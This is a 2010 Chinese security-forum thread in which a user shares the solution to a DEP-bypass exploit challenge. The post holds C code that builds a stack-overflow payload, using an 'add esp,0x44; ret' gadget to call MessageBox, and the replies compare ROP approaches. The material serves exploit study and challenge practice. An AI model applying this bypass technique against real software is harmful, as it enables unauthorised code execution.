首页
论坛
课程
招聘
[分享]发个过DEP的第一题答案,就是有点大32个字节
2010-10-22 06:09 6680

[分享]发个过DEP的第一题答案,就是有点大32个字节

2010-10-22 06:09
6680
思路很简单,溢出后已经可以把数据写到堆栈里了。 只把要压入的数据预先先入到exploit指定的地方, 在CODE里找到0x00401B8D 这个地址是add esp, 44;ret 直接滑到预先设定好的地方 就可以在代码段执行代码并且正常返回,但是返回后由于ESP没有方法返回到正常的位置,出现引用原先局部变量时出错。

堆栈内容如下:

    *(DWORD *)(g_ShellCodeBuffer + 0x00) = 0x00401B8D;//保存返回地址 <- add esp, 0x44;ret
    *(DWORD *)(g_ShellCodeBuffer + 0x1C) = 0x004011CE;//指向MessageBox返回地址              <- 0x0012FC94
    *(DWORD *)(g_ShellCodeBuffer + 0x20) = 0x00000000;//MessageBox Arg1(HANDLE)                <- 0x0012FC98
    *(DWORD *)(g_ShellCodeBuffer + 0x24) = 0x0012FCAC;//MessageBox Arg2(Context)            <- 0x0012FC9C
    *(DWORD *)(g_ShellCodeBuffer + 0x28) = 0x0040606C;//MessageBox Arg3(Title)                <- 0x0012FCA0
    *(DWORD *)(g_ShellCodeBuffer + 0x2C) = 0x00000000;//MessageBox Arg4(MB_OK)                <- 0x0012FCA4
    *(DWORD *)(g_ShellCodeBuffer + 0x30) = 0x0040116C;//原返回地址                          <- 0x0012FCA8
    memcpy(g_ShellCodeBuffer + 0x34, __STR_SUCCESS__, 30);//字符串 <- 0x0012FCAC
    *(DWORD *)(g_ShellCodeBuffer + 0x80) = 0x0012FC78;//指向保存返回地址
没有发这个。 发了个很通常的。 这里膜拜一下forgot牛。。。

看雪招聘平台创建简历并且简历完整度达到90%及以上可获得500看雪币~

上传的附件:
收藏
点赞0
打赏
分享
最新回复 (5)
雪    币: 3133
活跃值: 活跃值 (25)
能力值: (RANK:250 )
在线值:
发帖
回帖
粉丝
snowdbg 活跃值 6 2010-10-22 07:43
2
0
回头跟玩命兄探讨下,你的出发点真正是exploiter的出发点。
雪    币: 199
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
rickywong 活跃值 2010-10-22 09:09
3
0
终于有人放ROP啊 膜拜
雪    币: 10880
活跃值: 活跃值 (3317)
能力值: ( LV15,RANK:2338 )
在线值:
发帖
回帖
粉丝
ccfer 活跃值 16 2010-10-22 09:26
4
0
我很认真的数了好几遍,明明是33个字节
雪    币: 6882
活跃值: 活跃值 (397)
能力值: (RANK:1290 )
在线值:
发帖
回帖
粉丝
玩命 活跃值 31 2010-10-22 10:42
5
0
呃。。。 我数错了。。。 不好意思。。。
雪    币: 667
活跃值: 活跃值 (56)
能力值: ( LV12,RANK:300 )
在线值:
发帖
回帖
粉丝
轩辕小聪 活跃值 7 2010-10-22 16:28
6
0
这跟我在http://bbs.pediy.com/showthread.php?t=122883&page=3第37楼中回复的思路是类似的,重点就是add esp, xx, retn yy指令做跳板。
而且找到的指令是CODE里面的,比我找的系统DLL的稳定,当时我只搜了add esp, 28,没有往下搜大于28h,所以错过了,比我好的另一点是少了一个跳板,直接把MessageBox作为retn的返回地址,从而实现过DEP。
但是和我当时一样最后这个指向保存返回地址还是没有能不使用堆栈中的值,因此通用性还是。依然希望能看到解决这个问题的。
游客
登录 | 注册 方可回帖
返回